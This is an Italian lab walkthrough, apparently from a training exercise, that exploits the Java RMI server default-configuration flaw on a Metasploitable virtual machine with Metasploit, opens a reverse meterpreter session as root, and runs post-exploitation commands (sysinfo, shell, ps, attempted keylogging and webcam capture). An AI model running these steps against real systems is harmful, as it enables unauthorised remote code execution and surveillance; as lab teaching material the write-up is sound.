Apriamo Measploit da terminale utilizzando il comando msfconsole. Tramite la funzione search andiamo a cercare la vulnerabilità java_rmi, che andiamo a sfruttare tramite shell meterpreter.

```
File  Azioni  Modifica  Visualizza  Aiuto
┌──(kali2㉿kali2)-[~]
└─$ msfconsole

       =[ metasploit v6.3.19-dev                          ]
+ -- --=[ 2318 exploits - 1215 auxiliary - 412 post       ]
+ -- --=[ 1234 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Search can apply complex filters such as
search cve:2009 type:exploit, see all the filters
with help search
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search java_rmi

Matching Modules
================

   #  Name                                                  Disclosure Date  Rank       Check  Description
   -  ----                                                  ---------------  ----       -----  -----------
   0  auxiliary/gather/java_rmi_registry                                     normal     No     Java RMI Registry Interfaces Enumeration
   1  exploit/multi/misc/java_rmi_server                    2011-10-15       excellent  Yes    Java RMI Server Insecure Default Configu
ration Java Code Execution
   2  auxiliary/scanner/misc/java_rmi_server                2011-10-15       normal     No     Java RMI Server Insecure Endpoint Code E
xecution Scanner
   3  exploit/multi/browser/java_rmi_connection_impl        2010-03-31       excellent  No     Java RMIConnectionImpl Deserialization P
rivilege Escalation


Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl
```

Al solito, settiamo le impostazioni di LHOST e RHOSTS, inserendo anche un http delay per l'invio del payload

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)


View the full module info with the info, or info -d command.
```

Lanciato il comando vediamo come l'exploit vada a segno e riesca ad aprire una sessione di meterpreter sulla macchina target

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS ⇒ 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > set LHOST 192.168.11.111
LHOST ⇒ 192.168.11.111
msf6 exploit(multi/misc/java_rmi_server) > set HTTPDELAY 30
HTTPDELAY ⇒ 30
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/tKPZQFfv
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:56059) at 2023-06-10 11:12:35 +0200

meterpreter >
```

Iniziamo dunque a lanciare comandi per recuperare informazioni sul target. Il primo è sysinfo che ci permette di capire che tipo di sistema abbiamo appena esploitato

Il secondo comando è un ls, per vedere le directory listate nel percorso attuale

```
meterpreter > sysinfo
Computer        : metasploitable
OS              : Linux 2.6.24-16-server (i386)
Architecture    : x86
System Language : en_US
Meterpreter     : java/linux
meterpreter > shell
Process 1 created.
Channel 1 created.
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploitable
tmp
usr
var
vmlinuz
```

Andiamo a controllare i processi attivi tramite il comando "ps"

```
meterpreter > ps

Process List
============

 PID   Name                                  User      Path
 ---   ----                                  ----      ----
 1     /sbin/init                            root      /sbin/init
 2     [kthreadd]                            root      [kthreadd]
 3     [migration/0]                         root      [migration/0]
 4     [ksoftirqd/0]                         root      [ksoftirqd/0]
 5     [watchdog/0]                          root      [watchdog/0]
 6     [migration/1]                         root      [migration/1]
 7     [ksoftirqd/1]                         root      [ksoftirqd/1]
 8     [watchdog/1]                          root      [watchdog/1]
 9     [events/0]                            root      [events/0]
 10    [events/1]                            root      [events/1]
 11    [khelper]                             root      [khelper]
 46    [kblockd/0]                           root      [kblockd/0]
 47    [kblockd/1]                           root      [kblockd/1]
 50    [kacpid]                              root      [kacpid]
 51    [kacpi_notify]                        root      [kacpi_notify]
 98    [kseriod]                             root      [kseriod]
 142   [pdflush]                             root      [pdflush]
 143   [pdflush]                             root      [pdflush]
 144   [kswapd0]                             root      [kswapd0]
 186   [aio/0]                               root      [aio/0]
 187   [aio/1]                               root      [aio/1]
 1154  [ksnapd]                              root      [ksnapd]
 1308  [ata/0]                               root      [ata/0]
 1309  [ata/1]                               root      [ata/1]
 1310  [ata_aux]                             root      [ata_aux]
 1315  [scsi_eh_0]                           root      [scsi_eh_0]
 1316  [scsi_eh_1]                           root      [scsi_eh_1]
 1363  [ksuspend_usbd]                       root      [ksuspend_usbd]
 1365  [khubd]                               root      [khubd]
 2130  [scsi_eh_2]                           root      [scsi_eh_2]
 2284  [kjournald]                           root      [kjournald]
 2438  /sbin/udevd                           root      /sbin/udevd --daemon
 2726  [kpsmoused]                           root      [kpsmoused]
 3648  [kjournald]                           root      [kjournald]
 3781  /sbin/portmap                         daemon    /sbin/portmap
 3797  /sbin/rpc.statd                       statd     /sbin/rpc.statd
 3804  [rpciod/0]                            root      [rpciod/0]
```

```
File  Azioni  Modifica  Visualizza  Aiuto
 4529  /usr/sbin/nmbd                                  root      /usr/sbin/nmbd -D
 4531  /usr/sbin/smbd                                  root      /usr/sbin/smbd -D
 4535  /usr/sbin/smbd                                  root      /usr/sbin/smbd -D
 4547  /usr/sbin/xinetd                                root      /usr/sbin/xinetd -pidfile /var/run/xinetd.pid -stayalive -inetd_compat
 4586  distccd                                         daemon    distccd --daemon --user daemon --allow 0.0.0.0/0
 4587  distccd                                         daemon    distccd --daemon --user daemon --allow 0.0.0.0/0
 4588  distccd                                         daemon    distccd --daemon --user daemon --allow 0.0.0.0/0
 4590  proftpd:                                        proftpd   proftpd: (accepting connections)
 4604  /usr/sbin/atd                                   daemon    /usr/sbin/atd
 4615  /usr/sbin/cron                                  root      /usr/sbin/cron
 4643  /usr/bin/jsvc                                   root      /usr/bin/jsvc -user tomcat55 -cp /usr/share/java/commons-daemon.jar:/usr/share/tomcat5.5/bin/bootstrap.jar -outfile SYSLOG -errfile SYSLO
                                                                 G -pidfile /var/run/tomcat5.5.pid -Djava.awt.headless=true -Xmx128M -Djava.endorsed.dirs=/usr/share/tomcat5.5/common/endorsed -Dcatalina.
                                                                 base=/var/lib/tomcat5.5 -Dcatalina.home=/usr/share/tomcat5.5 -Djava.io.tmpdir=/var/lib/tomcat5.5/temp -Djava.security.manager -Djava.secu
                                                                 rity.policy=/var/lib/tomcat5.5/conf/catalina.policy org.apache.catalina.startup.Bootstrap
 4644  /usr/bin/jsvc                                   root      /usr/bin/jsvc -user tomcat55 -cp /usr/share/java/commons-daemon.jar:/usr/share/tomcat5.5/bin/bootstrap.jar -outfile SYSLOG -errfile SYSLO
                                                                 G -pidfile /var/run/tomcat5.5.pid -Djava.awt.headless=true -Xmx128M -Djava.endorsed.dirs=/usr/share/tomcat5.5/common/endorsed -Dcatalina.
                                                                 base=/var/lib/tomcat5.5 -Dcatalina.home=/usr/share/tomcat5.5 -Djava.io.tmpdir=/var/lib/tomcat5.5/temp -Djava.security.manager -Djava.secu
                                                                 rity.policy=/var/lib/tomcat5.5/conf/catalina.policy org.apache.catalina.startup.Bootstrap
 4645  /usr/bin/jsvc                                   tomcat55  /usr/bin/jsvc -user tomcat55 -cp /usr/share/java/commons-daemon.jar:/usr/share/tomcat5.5/bin/bootstrap.jar -outfile SYSLOG -errfile SYSLO
                                                                 G -pidfile /var/run/tomcat5.5.pid -Djava.awt.headless=true -Xmx128M -Djava.endorsed.dirs=/usr/share/tomcat5.5/common/endorsed -Dcatalina.
                                                                 base=/var/lib/tomcat5.5 -Dcatalina.home=/usr/share/tomcat5.5 -Djava.io.tmpdir=/var/lib/tomcat5.5/temp -Djava.security.manager -Djava.secu
                                                                 rity.policy=/var/lib/tomcat5.5/conf/catalina.policy org.apache.catalina.startup.Bootstrap
 4664  /usr/sbin/apache2                               root      /usr/sbin/apache2 -k start
 4665  /usr/sbin/apache2                               www-data  /usr/sbin/apache2 -k start
 4666  /usr/sbin/apache2                               www-data  /usr/sbin/apache2 -k start
 4668  /usr/sbin/apache2                               www-data  /usr/sbin/apache2 -k start
 4669  /usr/sbin/apache2                               www-data  /usr/sbin/apache2 -k start
 4670  /usr/sbin/apache2                               www-data  /usr/sbin/apache2 -k start
 4683  /usr/bin/rmiregistry                            root      /usr/bin/rmiregistry
 4687  ruby                                            root      ruby /usr/sbin/druby_timeserver.rb
 4695  /bin/login                                      root      /bin/login --
 4697  /usr/bin/unrealircd                             root      /usr/bin/unrealircd
 4703  Xtightvnc                                       root      Xtightvnc :0 -desktop X -auth /root/.Xauthority -geometry 1024x768 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/passwd -rfbport 5900 -fp
                                                                  /usr/X11R6/lib/X11/fonts/Type1/,/usr/X11R6/lib/X11/fonts/Speedo/,/usr/X11R6/lib/X11/fonts/misc/,/usr/X11R6/lib/X11/fonts/75dpi/,/usr/X11
                                                                 R6/lib/X11/fonts/100dpi/,/usr/share/fonts/X11/misc/,/usr/share/fonts/X11/Type1/,/usr/share/fonts/X11/75dpi/,/usr/share/fonts/X11/100dpi/
                                                                 -co /etc/X11/rgb
 4709  /bin/sh                                         root      /bin/sh /root/.vnc/xstartup
 4712  xterm                                           root      xterm -geometry 80×24+10+10 -ls -title X Desktop
 4714  fluxbox                                         root      fluxbox
 4749  -bash                                           root      -bash
 4765  -bash                                           msfadmin  -bash
 4805  /usr/lib/jvm/java-1.5.0-gcj-4.2-1.5.0.0/jre/bin/java  root  /usr/lib/jvm/java-1.5.0-gcj-4.2-1.5.0.0/jre/bin/java -classpath /tmp/~spawnfgnc18.tmp.dir metasploit.Payload
 4816  /bin/sh                                         root      /bin/sh -c ps ax -w -o pid=,user=,command= 2>/dev/null
 4817  ps                                              root      ps ax -w -o pid=,user=,command=
```

Con un po' di rammarico veniamo a scoprire che questo tipo di shell meterpreter non supporta alcune funzionalità, sicuramente dovuto alla tipologia di servizio che stiamo sfruttando. Pertanto nonostante la potenza di meterpreter possiamo constatare che, come per la shell php, a seconda del servizio esplotato le funzionalità a disposizione dell'attaccante variano.

```
meterpreter > migrate
[-] The "migrate" command is not supported by this Meterpreter type (java/linux)
meterpreter > getprivs
[-] The "getprivs" command is not supported by this Meterpreter type (java/linux)
meterpreter > getsystem
[-] The "getsystem" command requires the "priv" extension to be loaded (run: `load priv`)
meterpreter > keyscan_start
[-] The "keyscan_start" command is not supported by this Meterpreter type (java/linux)
meterpreter > webcam_snap
[-] The "webcam_snap" command is not supported by this Meterpreter type (java/linux)
meterpreter >
```

```
meterpreter > getuid
Server username: root
meterpreter > execute ls
[-] You must specify an executable file with -f
meterpreter > execute -f ls
Process  created.
meterpreter >
```